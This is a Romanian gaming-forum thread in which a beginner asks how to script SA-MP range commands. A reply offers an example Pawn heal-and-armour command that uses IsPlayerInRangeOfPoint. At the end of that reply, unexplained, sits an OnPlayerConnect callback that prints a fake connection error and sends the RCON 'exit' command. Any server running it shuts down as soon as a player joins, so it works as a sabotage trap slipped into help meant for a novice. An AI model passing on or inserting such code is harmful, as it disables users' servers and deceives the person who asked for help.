Jump to content
  • 0

Script /ggr (givegunrange) , începator.


Question

Posted

Salutare , sunt nou pe aceasta comunitate. Vad ca deja m-ati primit cu caldura.

Va multumesc din suflet. Eh.. la scoala învat acum toate simbolurile din C++ , sunt la un profil de intensiv informatica, mate-info.

Problema mea cea mare este ca nu stiu cum se creeaza un script pentru /ggr sau /hr(healrange).

Am citit pe acolo cu GivePlayerWeapon / GetPlayerDistanceFromPoint / IsPlayerInRangeOfPoint ... dar nu stiu cum sa le îmbin.

Sunt la început de scripting , as fii recunoscator daca m-ati ajuta.

Mi-am facut propriul script pentru /makesm (/makesuperman) în care intra comanda /god , poti zbura etc.

Folosesc un mod GodFather,nu RP, nu Stunt , nu gangwar sau altceva.

VA MULTUMESC PENTRU ATENTIE!

EDIT: Nu mi-a luat diacriticele.

1 answer to this question

Recommended Posts

Posted

Salut , pentru inceput este IsPlayerInRangeOfPoint am sati fac eu o comanda doar asa...pentru exemplu .

CMD:hm(playerid, params[])
{
	//--------------------------------------------------------------------------
	if(IsPlayerInRangeOfPoint(playerid, 20, 404.8082,2448.4775,16.1368))
	{
	    SetPlayerHealth(playerid, 100);
		SetPlayerArmour(playerid, 100);
		GameTextForPlayer(playerid, "~n~~r~Info:~n~~y~+100 Health~n~~y~+100 Armour", 3000, 3);
		return 1;
	}
        else return SendClientMessage(playerid, COLOR_GREEN, "{11FF00}You are not in {15FF00}spawn zone{11FF00}!");
}

IsPlayerInRangeOfPoint(playerid, 20, 404.8082,2448.4775,16.1368)

IsPlayerInRangeOfPoint = Daca este un player la o distanta de....fata de un obiect/locatie .

playerid = ...asta sti ce e

20 = distanta maxima dintre un player si respectivul obiect / respectiva locatie (unde se poate folosi comanda)

404.8082,2448.....  = coordonatele de la respectivul obiect sau respectiva locatie

Sper ca am fost destul de explicit :) succes.

EDIT: PS: Aceasta comanda este pentru Health+Armour (Viata si Armura) , cu aceste coordonate care sunt deja puse , pe mapa este la Aeroportul Abandonat (Abandoned Airport ( /aa ) )

public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.